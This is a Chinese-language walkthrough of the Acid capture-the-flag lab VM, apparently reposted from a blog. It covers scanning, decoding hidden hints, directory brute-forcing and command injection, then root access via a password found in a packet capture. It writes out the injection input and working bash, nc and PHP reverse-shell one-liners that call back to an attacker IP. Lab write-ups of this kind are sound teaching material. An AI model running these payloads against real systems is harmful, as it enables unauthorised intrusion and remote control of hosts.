9. CTF綜合靶機滲透(二)


靶機說明

Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors.

歡迎來到酸的世界。童話故事需要使用秘密鑰匙打開魔法門。

目標

獲得root權限和flag。

運行環境

  • 靶機配置:該虛擬機完全基於Web,提取rar並使用VMplayer運行vmx,網絡連接方式設置為net,靶機自動獲取IP。

  • 攻擊機配置:同網段下有Windows攻擊機,安裝有Burpsuit、nc、Python2.7、DirBuster、御劍等滲透工具。

信息收集

  • ip發現

  • 物理機kali ip為

 

啟用Acid虛擬機,由於網絡設置為橋接模式,使用Nmap掃描VMware Network Adapter VMnet8網卡的NAT網段,即可找到虛機IP,命令:

nmap -sP 192.168.1.1/24 

獲得目標ip 192.168.1.104

 

  • 端口掃描

使用nmap掃描1-65535全端口,並做服務指紋識別,命令:

nmap -p 1-65535 -sV 192.168.1.104

 

目標主機的33447端口發現web服務,web服務器是Apache2.4.10,操作系統ubuntu。

http://192.168.1.104:33447 進入主頁:

  • 服務識別

只發現web服務和Apache,只能從web漏洞或者Apache漏洞入手(如有漏洞):

端口:Tcp 33447

底層服務:Apache2.4.10

操作系統:Ubuntu

漏洞挖掘的詳細思路

  • web挖掘思路:

(1) 查看每個網頁的源碼,看是否有提示;

(2) 暴破目錄,用御劍或DirBuster,看是否有新網頁,找新網頁的漏洞;

  • Apache挖掘思路:

(1) 尋找Apache2.4.10有無已知漏洞可利用:沒有發現可直接利用的漏洞。

(2) 到www.exploit-db.com查詢有無exp:沒有找到exp。

(3) Nessus掃描一下主機漏洞:沒有掃描出漏洞。

  • 實在找不到漏洞:單用戶模式進入Ubuntu,看源碼吧。

  • 步驟1:首先看主頁源碼,發現提示:0x643239334c6d70775a773d3d

0x是16進制編碼,將值643239334c6d70775a773d3d進行ASCII hex轉碼,變成:d293LmpwZw==

發現是base64編碼,再進行解碼,得到圖片信息 wow.jpg

這時可以根據經驗在首頁直接加目錄打:/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 網站的圖片目錄通常是這樣命名。

也可以利用dirbuster,御劍進行目錄爆破,得到圖片目錄images。

 

  • 訪問 http://192.168.1.104:33447/images/wow.jpg 得到圖片:

 

  • 將圖片保存到本地,用Notepad++打開,發現最下邊有提示

將3761656530663664353838656439393035656533376631366137633631306434進行ASCII hex轉碼,

得到 7aee0f6d588ed9905ee37f16a7c610d4,這是一串md5。

  • 步驟2:使用Dirbuster進行目錄暴破:

 

突然發現標題是/Challenge

查看暴破結果:果然發現Challenge目錄,並且發現該目錄下有cake.php、include.php、hacked.php,用Burpsuit掛上代理,

使用Firefox然后依次訪問3個文件:

  • 步驟3:訪問cake.php,發現需要登錄后才能訪問,但是標題的地方我們同樣發現了/Magic_Box

 

點擊login,發現跳到了index.php 頁面,但是需要email 和 password才能登陸

 

  • 步驟4:訪問include.php,這是一個文件包含漏洞頁面:

 

在輸入框中輸入 /etc/passwd 測試存在文件包含,Burpsuit顯示response包如下:

想文件包含拿shell,但沒有文件上傳點,之前發現的wow.jpg中無木馬可包含。先繼續看hacked.php。

  • 步驟5:訪問hacked.php,需要輸入ID,測試下之前從wow.jpg解密出來的數字:63425

不過看來好像並沒有什么卵用

  • 步驟6:找注入,把發現的幾個頁面都送入AWVS掃描了漏洞,未發現注入。

  • 步驟7:繼續暴破發現的/Magic_Box目錄:發現low.php,command.php
  • 步驟8:訪問low.php是個空頁面,訪問command.php,發現命令執行界面:

這讓人直接想起來命令執行漏洞,我們嘗試一波

可執行系統命令,輸入192.168.1.1;id 查看burpsuit的response發現id命令執行成功。

獲取shell

  • 步驟9:利用php反彈shell。kali linux開啟nc,監聽4444端口:

為避免轉義和中斷,在get、post請求中輸入payload需要進行url編碼。嘗試bash反彈shell、nc反彈shell,如下payload都失敗:

bash -i >& /dev/tcp/192.168.0.112/4444 0>&1 nc -e /bin/bash -d 192.168.0.112 4444

通過php反彈shell成功,將如下payload進行URL編碼后,在burp中發送:

php -r '$sock=fsockopen("192.168.0.112",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

 

成功反彈shell

但是無法執行su命令,回顯su: must be run from a terminal 需要一個終端。

 

沒有想出辦法,最終google了一下,找到答案:用python調用本地的shell,命令:

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py

 

提升權限

  • 步驟10:查看有哪些的用戶 cat /etc/passwd,發現需要關注的用戶有:acid,saman,root

  • 步驟11:查找每個用戶的文件(不顯示錯誤)

find / -user acid 2>/dev/null

 

發現    /sbin/raw_vs_isi/hint.pcapng   文件,這是一個網絡流量抓包文件,用Wireshark打開:

scp /sbin/raw_vs_isi/hint.pcapng root@10.10.10.140:/root/

只看TCP協議的包,發現saman的密碼:1337hax0r

  • 步驟12:su提權到saman、root,獲得flag

 

再使用sudo -i 提權到root,密碼同樣是1337hax0r,獲得位於root目錄的flag.txt。

靶場思路回顧

作者的設計思路可參考國外的一篇滲透文章: 

http://resources.infosecinstitute.com/acid-server-ctf-walkthrough

主要突破點是:

1.兩次目錄暴破,第一次暴破出challenge,目錄、cake.phpinclude.php、hacked.php,第二次暴破Magic_Box目錄發現command.php

2.發現命令執行界面后,用php反彈shell,在http中傳輸需對payload進行url編碼。

3.su提權需要一個終端,沒有經驗只能Google解決了。

4.提權的方法是通過查找已知用戶的文件,發現其密碼,未使用exp或msf提權。

總結

1.主要收獲:

(1)命令執行漏洞可使用php反彈shell, 以前都是用bash或nc。

(2)su提權需要一個終端,使用Python解決。

(3)獲得shell后,多多查找各個用戶文件,可能有新發現。

2.踩到的坑:

(1)文件包含漏洞,沒找到利用方式,也找不到上傳點,無法包含獲得shell;

(2)su提權需要一個終端,沒有知識儲備和經驗,依靠高手指導和Google搜索解決。

(3)index.php頁面獲得郵件用戶名和密碼的方法太冷門了,如果不是看國外的教程,自己無法想到。

(4)發現目錄就暴破下,使用御劍默認字典不行,只能使用OWASP的暴破字典,目錄暴破繞過了上面郵件用戶名和口令的登錄,可以一路暴破到命令執行頁面。

總之,在沒有google搜索和他人的指導下,自己沒能獨立完成,后續需要開闊思路,多多練習。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM